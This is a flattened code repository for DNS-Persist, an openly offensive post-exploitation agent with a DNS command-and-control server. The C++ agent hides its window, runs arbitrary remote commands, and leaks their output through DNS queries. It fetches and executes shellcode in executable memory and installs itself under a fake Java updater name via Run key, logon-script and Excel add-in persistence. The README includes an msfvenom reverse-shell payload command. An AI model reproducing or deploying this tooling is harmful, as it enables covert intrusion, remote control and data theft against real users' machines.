Repository: 0x09AL/DNS-Persist Branch: master Commit: 085eb804de7b Files: 25 Total size: 34.5 KB Directory structure: gitextract_po3zvpy2/ ├── .gitignore ├── Agent/ │ ├── Agent/ │ │ ├── Agent.aps │ │ ├── Agent.rc │ │ ├── Agent.vcxproj │ │ ├── Agent.vcxproj.filters │ │ ├── Agent.vcxproj.user │ │ ├── Commands.cpp │ │ ├── Commands.h │ │ ├── DNSCommunication.cpp │ │ ├── DNSCommunication.h │ │ ├── Declarations.h │ │ ├── Handler.cpp │ │ ├── Handler.h │ │ ├── Persistence.cpp │ │ ├── Persistence.h │ │ ├── XLSADDIN.xlam │ │ ├── main.cpp │ │ └── resource.h │ └── Agent.sln ├── LICENSE ├── README.md ├── modules/ │ ├── AgentControllerCLI.py │ ├── DNSListener.py │ └── __init__.py └── server.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.pyc *.exe *.pdb *.sdf *.ipch *.ilk *.obj *.tlog *.txt *.cache *.idb *.manifest *.log *.suo Agent/Agent/Release Agent/Agent/Debug .idea/ ================================================ FILE: Agent/Agent/Agent.vcxproj ================================================  Debug Win32 Release Win32 {F3650F8D-4059-43CC-BDFB-0FB803DFE650} Agent Application true MultiByte Application false true MultiByte false Level3 Disabled true Level3 MaxSpeed true true true true true ================================================ FILE: Agent/Agent/Agent.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hpp;hxx;hm;inl;inc;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files Source Files Source Files Source Files Header Files Header Files Header Files Header Files Header Files Header Files Resource Files ================================================ FILE: Agent/Agent/Agent.vcxproj.user ================================================  ================================================ FILE: Agent/Agent/Commands.cpp ================================================ #include "Commands.h" LPCSTR ProcessList(){ std::string pList = ExecuteCommand("tasklist"); LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH]; StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str()); return lpResponse; } LPCSTR ExecuteShell(LPCSTR command){ std::string pList = ExecuteCommand(command); LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH]; StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str()); return lpResponse; } LPCSTR SystemInfo(){ LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH]; SYSTEM_INFO siSysInfo; GetSystemInfo(&siSysInfo); LPSTR computerName = new CHAR[MAX_COMPUTERNAME_LENGTH + 1]; DWORD len = MAX_COMPUTERNAME_LENGTH + 1; GetComputerNameA(computerName,&len); DWORD usernameSize = 104; LPSTR username = new CHAR[104+1]; GetUserName(username,&usernameSize); StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"----- System Information -----\n\nComputerName: %s\\%s\nNumber of processors: %u\nOEM ID: %u\nProcessor type: %u\n",computerName,username,siSysInfo.dwNumberOfProcessors,siSysInfo.dwOemId,siSysInfo.dwProcessorType); return lpResponse; } char agentName[64]; static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; int stringLength = sizeof(alphanum) - 1; LPSTR AgentName(){ DWORD size = 9; if(strlen(agentName)==0){ std::string tempString; srand (time(NULL)); for(unsigned int i = 0; i < size-1; ++i) { tempString += alphanum[rand() % stringLength]; } StringCbPrintf(agentName,size,"%s",tempString.c_str()); } return agentName; } LPCSTR ExecuteShellcode(){ HANDLE hLocalThread; DWORD lpThreadId; std::string temp = GetShellcode(AgentName()); if(temp == NO_SHELLCODE){ return "[-] There was no shellcode [-]"; } LPCSTR data = temp.c_str(); hLocalThread = CreateThread(NULL,0,InjectShellcode,(LPVOID)data,0,&lpThreadId); //WaitForSingleObject(hLocalThread,INFINITE); Sleep(5); if(hLocalThread != NULL){ return "[+] Shellcode Injected Successfully [+]"; } return "[-] Failed to inject shellcode [-]"; } DWORD WINAPI InjectShellcode(LPVOID lpData){ LPVOID buffer = NULL; LPCSTR data = (LPCSTR)lpData; SIZE_T shLength = strlen(data); buffer = VirtualAlloc(NULL,shLength+1,(MEM_COMMIT | MEM_RESERVE),PAGE_EXECUTE_READWRITE); memcpy(buffer,data,shLength); __asm{ LEA EAX,buffer MOV EDX, DWORD PTR DS:[EAX] CALL EDX } return 0; } BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId){ HGLOBAL resMemoryHandler; HRSRC resHandler; LPCSTR resourceName = MAKEINTRESOURCE(resourceId); LPCSTR resourceType = RT_RCDATA; LPVOID lpData = NULL; SIZE_T size; DWORD dwBytesWritten = 0; resHandler = FindResource(NULL,resourceName,resourceType); LPVOID data; if(resHandler != NULL){ resMemoryHandler =LoadResource(NULL,resHandler); if(resMemoryHandler != NULL){ lpData = LockResource(resMemoryHandler); if(lpData != NULL){ size = SizeofResource(NULL,resHandler); data = VirtualAlloc(NULL,size+1,(MEM_COMMIT | MEM_RESERVE),PAGE_READWRITE); memcpy(data,lpData,size); }else{ return FALSE; } }else{ return FALSE; } }else{ return FALSE; } HANDLE fileHandler = CreateFile(fileName,(GENERIC_WRITE),FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); if(fileHandler != INVALID_HANDLE_VALUE){ WriteFile(fileHandler,data,size,&dwBytesWritten,NULL); CloseHandle(fileHandler); return TRUE; } else{ return FALSE; } } ================================================ FILE: Agent/Agent/Commands.h ================================================ #include "DNSCommunication.h" LPCSTR ProcessList(); LPCSTR SystemInfo(); LPCSTR ExecuteShellcode(); LPCSTR ExecuteShell(LPCSTR command); LPSTR AgentName(); DWORD WINAPI InjectShellcode(LPVOID lpData); BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId); ================================================ FILE: Agent/Agent/DNSCommunication.cpp ================================================ #include "DNSCommunication.h" BOOL SendData(LPSTR agentName, LPSTR data){ // Used string because of lack of knowledge :p. std::string response; DWORD data_length; DWORD data_remainder; DWORD chunks; DWORD chunk_size = 32; std::string hex_data; std::stringstream temp_data; DataToHEX(data,hex_data,TRUE); data_length = hex_data.length(); data_remainder = data_length % chunk_size; chunks = data_length % chunk_size; if(data_length > chunk_size){ for(unsigned int i=0; i < data_length; i+=chunk_size){ temp_data.str(std::string()); // Clear the temp_data stream if(i == 0){ temp_data << "7b21" << hex_data.substr(i,chunk_size);// Appends the beginning signature to the data }else if((i+data_remainder)>=data_length){ temp_data << hex_data.substr(i,chunk_size) << "217d";// Appends the end signature to the data }else{ temp_data << hex_data.substr(i,chunk_size); } response = SendDNSPacket(agentName,"DATA",temp_data.str().c_str()); } }else{ // To be implmeneted that if there is less data then 32 bytes which is very unusal, to add the stream. response = SendDNSPacket(agentName,"DATA",hex_data.c_str()); // Normally we should not get here. } response.erase(0,(int)response.find("RESP:") + 5); response.erase(response.length()-2,response.length()); if(response.compare("OK") == 0){ return TRUE; } // ERROR return FALSE; } // Not very Windows-like programming but it works. VOID DataToHEX(const std::string str, std::string& hexstr, bool capital = false) { hexstr.resize(str.size() * 2); const size_t a = capital ? 'A' - 1 : 'a' - 1; for (size_t i = 0, c = str[0] & 0xFF; i < hexstr.size(); c = str[i / 2] & 0xFF) { hexstr[i++] = c > 0x9F ? (c / 16 - 9) | a : c / 16 | '0'; hexstr[i++] = (c & 0xF) > 9 ? (c % 16 - 9) | a : c % 16 | '0'; } } std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData){ LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1]; std::string response; PDNS_RECORD dnsRecord; if(lstrlen(responseData) == 0){ // This is probably a probe or command request StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s.%s",agentName,packetType,DOMAIN_NAME); }else{ // This sends the data to the server. StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s-%s.%s",agentName,packetType,responseData,DOMAIN_NAME); } WORD dnsType = DNS_TYPE_TEXT; DNS_STATUS dnsStatus; dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL); if(!dnsStatus){ response = dnsRecord->Data.TXT.pStringArray[0]; }else{ response = "ERROR"; } cout << response; return response; } std::string GetShellcode(LPSTR agentName){ LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1]; BOOL bEnd = FALSE; std::string response; std::string shellcode; PDNS_RECORD dnsRecord; WORD dnsType = DNS_TYPE_TEXT; DNS_STATUS dnsStatus; StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-SHL.%s",agentName,DOMAIN_NAME); while(!bEnd){ dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL); if(!dnsStatus){ response = dnsRecord->Data.TXT.pStringArray[0]; } if(response.find(NO_SHELLCODE) != std::string::npos){ return NO_SHELLCODE; } else if(response.find(START) != std::string::npos){ shellcode = std::string(); shellcode = response.erase(0,2); } else if(response.find(END) != std::string::npos){ shellcode.append(response.erase(response.length()-2,response.length())); bEnd = TRUE; }else{ shellcode.append(response); } } // This is probably not the best way to do this but hey i'm not an expert in C++ SIZE_T len; len = shellcode.length(); std::string returnValue; for(int i=0; i< len; i+=2) { std::string byte = shellcode.substr(i,2); char chr = (char) (int)strtol(byte.c_str(), NULL, 16); returnValue.push_back(chr); } return returnValue; } std::string ExecuteCommand(LPCSTR cmd) { std::string data; FILE * stream; const int max_buffer = 256; char buffer[max_buffer]; stream = _popen(cmd, "r"); if (stream) { while (!feof(stream)) if (fgets(buffer, max_buffer, stream) != NULL) data.append(buffer); _pclose(stream); } return data; } ================================================ FILE: Agent/Agent/DNSCommunication.h ================================================ #include "Declarations.h" BOOL SendData(LPSTR agentName, LPSTR data); VOID DataToHEX(const std::string str, std::string& hexstr, bool capital); std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData); std::string ExecuteCommand(LPCSTR command); std::string GetShellcode(LPSTR agentName); ================================================ FILE: Agent/Agent/Declarations.h ================================================ #include #include #include #include "resource.h" #include "Shlwapi.h" #include #include #include #include #include #pragma comment(lib, "Shlwapi.lib") #pragma comment (lib, "Dnsapi.lib") using std::cout; #define MAX_DOMAIN_LENGTH 2048 #define PROBE "PROBE" #define CMD "CMD" #define DOMAIN_NAME "example.com" #define MAX_DATA_LENGTH 1048576 #define START "{!" #define END "!}" #define NO_SHELLCODE "!@!" #define PERSIST_RUNKEY 1 #define PERSIST_LOGONSCRIPT 2 #define PERSIST_EXCELADDIN 3 ================================================ FILE: Agent/Agent/Handler.cpp ================================================ #include "Handler.h" LPCSTR HandleCommand(LPCSTR command){ std::string data = command; if(strstr(command,"PRT-") != NULL){ data.erase(0,4); DWORD method = atoi(data.c_str()); return Persist(method); } else if(strstr(command,"SYS") != NULL){ return SystemInfo(); } else if(strstr(command,"PSL") != NULL){ return ProcessList(); } else if(strstr(command,"INJ") != NULL){ return ExecuteShellcode(); } else if(strstr(command,"ECM-") != NULL){ data.erase(0,4); return ExecuteShell(data.c_str()); } return "ERROR HANDLING COMMAND"; } ================================================ FILE: Agent/Agent/Handler.h ================================================ #include "Declarations.h" #include "Persistence.h" #include "Commands.h" LPCSTR HandleCommand(LPCSTR command); ================================================ FILE: Agent/Agent/Persistence.cpp ================================================ #include "Persistence.h" LPCSTR Persist(DWORD method){ switch(method){ case PERSIST_RUNKEY: if(PersistRunKey()){ return "[+] Run key Persistence Successfull [+]"; } case PERSIST_LOGONSCRIPT: if(PersistLogonScript()){ return "[+] Logon script Persistence Successfull [+]"; } case PERSIST_EXCELADDIN: if(PersistExcelAddin()){ return "[+] Excel addin Persistence Successfull [+]"; } } return "[-] Persistence failed [-]"; } BOOL PersistRunKey(){ LPSTR cFile = new CHAR[MAX_PATH+1]; LPSTR fDestination = new CHAR[MAX_PATH+1]; LPSTR appdata = new CHAR[MAX_PATH+1]; GetEnvironmentVariable("appdata",appdata,MAX_PATH); StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",appdata); GetModuleFileName(NULL,cFile,MAX_PATH); if(CopyFile(cFile,fDestination,TRUE) != 0){ SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN); HKEY hKey; RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey); RegSetValueEx(hKey,"Oracle Java Update Scheduler",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH); RegCloseKey(hKey); return TRUE; } return FALSE; } BOOL PersistLogonScript(){ LPSTR cFile = new CHAR[MAX_PATH+1]; LPSTR fDestination = new CHAR[MAX_PATH+1]; LPSTR userProfile = new CHAR[MAX_PATH+1]; GetEnvironmentVariable("userprofile",userProfile,MAX_PATH); StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",userProfile); GetModuleFileName(NULL,cFile,MAX_PATH); if(CopyFile(cFile,fDestination,TRUE) != 0){ SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN); HKEY hKey; RegOpenKey(HKEY_CURRENT_USER,"Environment",&hKey); RegSetValueEx(hKey,"UserInitMprLogonScript",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH); RegCloseKey(hKey); return TRUE; } return FALSE; } BOOL PersistExcelAddin(){ LPSTR appData = new CHAR[MAX_PATH+1]; LPSTR fileDest = new CHAR[MAX_PATH+1]; GetEnvironmentVariable("appdata",appData,MAX_PATH); StringCbPrintf(fileDest,MAX_PATH,"%s\\Microsoft\\Excel\\XLSTART",appData); if(PathFileExists(fileDest)){ StringCbPrintf(fileDest,MAX_PATH,"%s\\XLS_ADDIN.xlam",fileDest); DropFileFromRes(fileDest,IDR_RCDATA1); LPSTR cFile = new CHAR[MAX_PATH+1]; LPSTR fDestination = new CHAR[MAX_PATH+1]; LPSTR appData = new CHAR[MAX_PATH+1]; GetEnvironmentVariable("appdata",appData,MAX_PATH); StringCbPrintf(fDestination,MAX_PATH,"%s\\jsched.exe",appData); GetModuleFileName(NULL,cFile,MAX_PATH); if(CopyFile(cFile,fDestination,TRUE) != 0){ SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN); return TRUE; } } return FALSE; } ================================================ FILE: Agent/Agent/Persistence.h ================================================ #include "Declarations.h" #include "Commands.h" LPCSTR Persist(DWORD method); BOOL PersistRunKey(); BOOL PersistLogonScript(); BOOL PersistExcelAddin(); ================================================ FILE: Agent/Agent/main.cpp ================================================ #include "Declarations.h" #include "DNSCommunication.h" #include "Handler.h" #include "Commands.h" int main(){ ShowWindow(GetConsoleWindow(), SW_HIDE); LPSTR agentName = AgentName(); std::string response; std::string tmp_command; DWORD numberOfCommands = 0; DWORD i = 0; while(TRUE){ Sleep(5000); response = SendDNSPacket(agentName,PROBE,NULL); if (response.find("There were no commands") == std::string::npos){ if (response.find("NR:")!= std::string::npos){ // This gets the number of commands from the DNS server. response.erase(0,(int)response.find(":")+1); numberOfCommands = atoi(response.c_str()); for(i=0;i(HandleCommand(tmp_command.c_str()))); } } } } } ================================================ FILE: Agent/Agent.sln ================================================  Microsoft Visual Studio Solution File, Format Version 11.00 # Visual C++ Express 2010 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Agent", "Agent\Agent.vcxproj", "{F3650F8D-4059-43CC-BDFB-0FB803DFE650}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 Release|Win32 = Release|Win32 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.ActiveCfg = Debug|Win32 {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.Build.0 = Debug|Win32 {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.ActiveCfg = Release|Win32 {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2017 Rio Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # DNS-Persist DNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future. ## Getting Started ### Author 0x09AL - https://twitter.com/0x09al ### Disclaimer DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES. THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE. ## Did I reinvent the wheel ? There is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first "real program" in C++ (so expect some cringe worthy code). Suggestions about features and improvements are open. ## Architecture There are two main parts: 1. DNS server 2. Agent ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-5.png "Architecture") ## Features ### Persistence mechanisms This version has only 3 persistence mechanisms. More will be added later. 1. LogonScript persistence. 2. RunKey persistence. 3. Excel Addin persistence. ### 'Interactive' command shell This version supports pseudo-interactive command shell that you can use to execute system commands. ### Shellcode Injection This version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode. #### Shellcode generation example ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex ``` ## TODO LIST 1. Add encryption. **This version does not have any encryption so take your own risks when using it.** 2. Add more persistence mechanisms. 3. Agent in different programming languages. ## Installation & Usage ### Server side ``` pip install dnslib git clone https://github.com/0x09AL/DNS-Persist python server.py ``` By default a DNS server on port 53 will be started. You can change that on the server.py file. ### Agent I used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy. Keep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name. The domain nameservers should point to the DNS-Persist IP address. ``` #define DOMAIN_NAME "example.com" ``` ## Screenshots 1. Picture-1 ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-1.png "Picture-1") 2. Picture-2 ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-2.png "Picture-2") 3. Picture-3 ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-3.png "Picture-3") 4. Picture-4 ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-4.png "Picture-4") ================================================ FILE: modules/AgentControllerCLI.py ================================================ import cmd activeAgents = ["PC-01","FUCK"] def changeInteractedAgent(agent): print agent class Input(cmd.Cmd): AGENTS = activeAgents prompt = "DNS-C2 #> " def do_agents(self,s): self.list_agents() def do_interact(self,agent): self.AGENTS = activeAgents if(agent in self.AGENTS): print "[+] Interacting with : " + agent + " [+]" changeInteractedAgent(agent) agentInteraction = AgentCMD() agentInteraction.prompt = self.prompt + "(" + agent + "): " agentInteraction.cmdloop() else: print "[-] Agent not valid [-]" def complete_interact(self, text, line, begidx, endidx): if not text: completions = self.AGENTS[:] else: completions = [ f for f in self.AGENTS if f.startswith(text) ] return completions def do_quit(self,s): exit(0) def emptyline(self): pass def list_agents(self): for agent in activeAgents: print agent def getInteractedAgent(): global interactedAgent return interactedAgent class AgentCMD(cmd.Cmd): # This is the Agent command line . def do_sysinfo(self,s): sendTask(interactedAgent,"{SHELL}systeminfo") def do_bypassuac(self,s): sendTask(interactedAgent,"bypassuac") def do_keylog_start(self,s): sendTask(interactedAgent,"keylog_start") def do_keylog_stop(self,s): sendTask(interactedAgent,"keylog_stop") def do_keylog_dump(self,s): sendTask(interactedAgent,"keylog_dump") def do_exec(self,s): sendTask(interactedAgent,"{SHELL}%s" % s) def do_downloadexecute(self,s): sendTask(interactedAgent,"{DOWNLOAD}%s" % s) def do_persist(self,s): sendTask(interactedAgent,"persist") def do_back(self,s): interactedAgent = "" return True def emptyline(self): pass ================================================ FILE: modules/DNSListener.py ================================================ from dnslib import * import socket import time import threading import cmd interactedAgent = "" activeAgents = [] agentCommands = {} agentData = {} agentTimes = {} agentShellcode = {} persistenceMethods = {"runkey":1,"logonscript":2,"exceladdin":3} def sendTask(agent,command): agentCommands[agent].append([command,"WAITING"]) def addShellcode(agent,shellcodefile): # Error handling sucks will be improved in the future. try: f = open(shellcodefile,"r") shellcode = f.read() f.close() if(agentShellcode.has_key(agent)): print "[+] Replacing shellcode with the new one [+]" agentShellcode[agent] = "{!%s!}" % shellcode return True except Exception: print "[-] Shellcode file not found [-]" return False def getInteractedAgent(): global interactedAgent return interactedAgent def changeInteractedAgent(agent): global interactedAgent interactedAgent = agent class DNSListener(object): def __init__(self, host="127.0.0.1",port="53"): print "[+] Starting DNS Listener [+]" thread = threading.Thread(target=self.start_server, args=()) thread.daemon = True # This will become false thread.start() self.host = host self.port = port self.activeAgents = activeAgents def add_agent_times(self,agent): if(agentTimes.has_key(agent)): agentTimes[agent] = time.time() else: agentTimes.update({agent:time.time()}) def get_agent_shellcode(self,agent): chunk = 64 if(agentShellcode.has_key(agent)): if(len(agentShellcode[agent])>chunk): data = agentShellcode[agent][:chunk] agentShellcode[agent] = agentShellcode[agent][chunk:] return data else: data = agentShellcode[agent] del agentShellcode[agent] return data return "!@!" def get_agent_command(self,agent): # This code will return the data of the agent if(agentCommands.has_key(agent)): number_of_commands = len(agentCommands[agent]) #print "Number of commands : %s" % number_of_commands if(number_of_commands>0): for command in agentCommands[agent]: #print command[1] if(command[1] == "WAITING"): command[1] = "DONE" return "CMD:%s" % (command[0]) return "There were no commands :)" else: return "No agent with this name" def agent_probe(self,agent): try: if(agentCommands.has_key(agent)): if(len(agentCommands[agent]) > 0): i = 0 for command in agentCommands[agent]: if(command[1] == "WAITING"): i = i + 1 if (i == 0): agentCommands[agent] = [] return "NR:%s" % i except Exception,e: print "Error: %s" % e pass return "There were no commands :(" def agent_receive_data(self,agent,response_data): global agentData if(not agentData.has_key(agent)): agentData.update({agent:""}) # Processing of the data # Add if it starts with {! and ends with !} is a small value if(response_data.decode('hex').startswith("{!")): agentData[agent] = response_data[4:] elif(response_data.decode('hex').endswith("!}")): agentData[agent] += response_data[:-4] print "\n[+] Data from agent: %s [+]" % agent print agentData[agent].decode('hex') agentData[agent] = "" else: agentData[agent] += response_data return "RESP:OK" def parse_request_packet(self, agent, packetType, response_data=""): # This code will have the logic that will make the response # and decide what to do with the request # THIS IS A VERY TERRIBLE IMPLEMENTATION LOL if(packetType == "PROBE"): return self.agent_probe(agent) elif(packetType == "CMD"): return self.get_agent_command(agent) elif(packetType == "SHL"): return self.get_agent_shellcode(agent) elif(packetType == "DATA" and response_data != ""): return self.agent_receive_data(agent,response_data) return "Agent: %s packet %s" % (agent,packetType) def parse_dns_request(self,data): # Parse DNS Requests request = DNSRecord.parse(data) qtype = QTYPE[request.q.qtype] if(str(qtype) == "PTR"): return "PTR",0,request if((len(request.q.qname.label) <= 1) or (str(qtype) != "TXT")): #print "[-] Invalid Packet Received [-]" return 0,0,0 else: name = request.q.qname.label[0] domain = request.q.qname.label[1] return name, domain , request def get_dns_response(self,request,data): reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(request.q.qname, QTYPE.TXT, rdata=TXT(data))) return reply.pack() def get_dns_ptr_response(self,request): reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer(RR(request.q.qname, QTYPE.PTR, rdata=PTR("google-public-dns-b.google.com"))) return reply.pack() def get_dns_data(self,data): #to be implemented self.data = data packetType = data.split("-")[1] agent = data.split("-")[0] # Add times for the latest probe. self.add_agent_times(agent) if(agent not in activeAgents): activeAgents.append(agent) print "\n[+] Agent %s called back [+]" % (agent) if(not agentCommands.has_key(agent)): agentCommands.update({agent:[]}) # If there is no commands for agent replace them. if(len(data.split("-")) == 3 and packetType == "DATA"): response_data = data.split("-")[2] return self.parse_request_packet(agent,packetType,response_data) else: return self.parse_request_packet(agent,packetType) #return "packet type %s on agent %s" % (packetType, agent) def get_active_agents(self): return activeAgents def clear_agents(self): # This will clear agents that are in not active for at least 60 seconds while 1: time.sleep(5) for agent in activeAgents: if(agentTimes.has_key(agent)): if((time.time() - agentTimes[agent]) > 60): print "[-] Agent %s is offline [-]" % agent activeAgents.remove(agent) def start_server(self): # Create DNS Listener Socket self.dns_listener = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) self.dns_listener.bind((self.host,self.port)) # This will clear the active agents and notify when the agent are not online agentClearThread = threading.Thread(target=self.clear_agents, args=()) agentClearThread.daemon = True agentClearThread.start() while 1: data, address = self.dns_listener.recvfrom(1024) name, domain, request = self.parse_dns_request(data) if(name != 0 and domain !=0 and request !=0): #print name,domain #print "[+] Sending Response [+]" data = self.get_dns_data(name) reply = self.get_dns_response(request,data) self.dns_listener.sendto(reply,address) elif(name == "PTR"): # Send here PTR response reply = self.get_dns_ptr_response(request) self.dns_listener.sendto(reply,address) # This the input part of the CMD lop class Input(cmd.Cmd): AGENTS = activeAgents prompt = "DNS-C2 #> " def do_agents(self,s): self.list_agents() def do_interact(self,agent): self.AGENTS = activeAgents if(agent in self.AGENTS): print "[+] Interacting with : " + agent + " [+]" changeInteractedAgent(agent) agentInteraction = AgentCMD() agentInteraction.prompt = self.prompt + "(" + agent + "): " agentInteraction.cmdloop() else: print "[-] Agent not valid [-]" def complete_interact(self, text, line, begidx, endidx): if not text: completions = self.AGENTS[:] else: completions = [ f for f in self.AGENTS if f.startswith(text) ] return completions def do_quit(self,s): exit(0) def emptyline(self): pass def list_agents(self): if(len(activeAgents)>0): print "[+] Number of agents : %s [+]" % len(activeAgents) for agent in activeAgents: print agent else: print "[-] No active agents [-]" class AgentCMD(cmd.Cmd): # This is the Agent command line . def do_process_list(self,s): sendTask(interactedAgent,"PSL") def do_execute_shellcode(self,shellcodefile): if(addShellcode(interactedAgent,shellcodefile)): sendTask(interactedAgent,"INJ") def do_sysinfo(self,s): sendTask(interactedAgent,"SYS") def do_persist(self,s): if(persistenceMethods.has_key(s)): sendTask(interactedAgent,"PRT-%s" % persistenceMethods[s]) else: print "\n[-] Invalid persistence method [-]" print "\nPersistence methods: " for key,value in persistenceMethods.iteritems(): print "-> persist %s" % (key) print "\n" def do_shell(self,s): agent_shell = AgentShell() agent_shell.prompt = "SHELL #>(%s) " % interactedAgent agent_shell.cmdloop() def do_back(self,s): interactedAgent = "" return True def emptyline(self): pass class AgentShell(cmd.Cmd): def emptyline(self): pass def onecmd(self,s): if(s == "exit" or s == "quit" or s == "back"): return True elif(s is None or s == ""): pass else: sendTask(interactedAgent, "ECM-%s" % s) ================================================ FILE: modules/__init__.py ================================================ ================================================ FILE: server.py ================================================ from modules import DNSListener from modules import AgentControllerCLI import threading banner = """ ____ _ _______ ____ _ __ / __ \/ | / / ___/ / __ \___ __________(_)____/ /_ / / / / |/ /\__ \______/ /_/ / _ \/ ___/ ___/ / ___/ __/ / /_/ / /| /___/ /_____/ ____/ __/ / (__ ) (__ ) /_ /_____/_/ |_//____/ /_/ \___/_/ /____/_/____/\__/ """ host = "0.0.0.0" port = 53 print banner DNSObject = DNSListener.DNSListener(host,port) commandInputs = DNSListener.Input().cmdloop()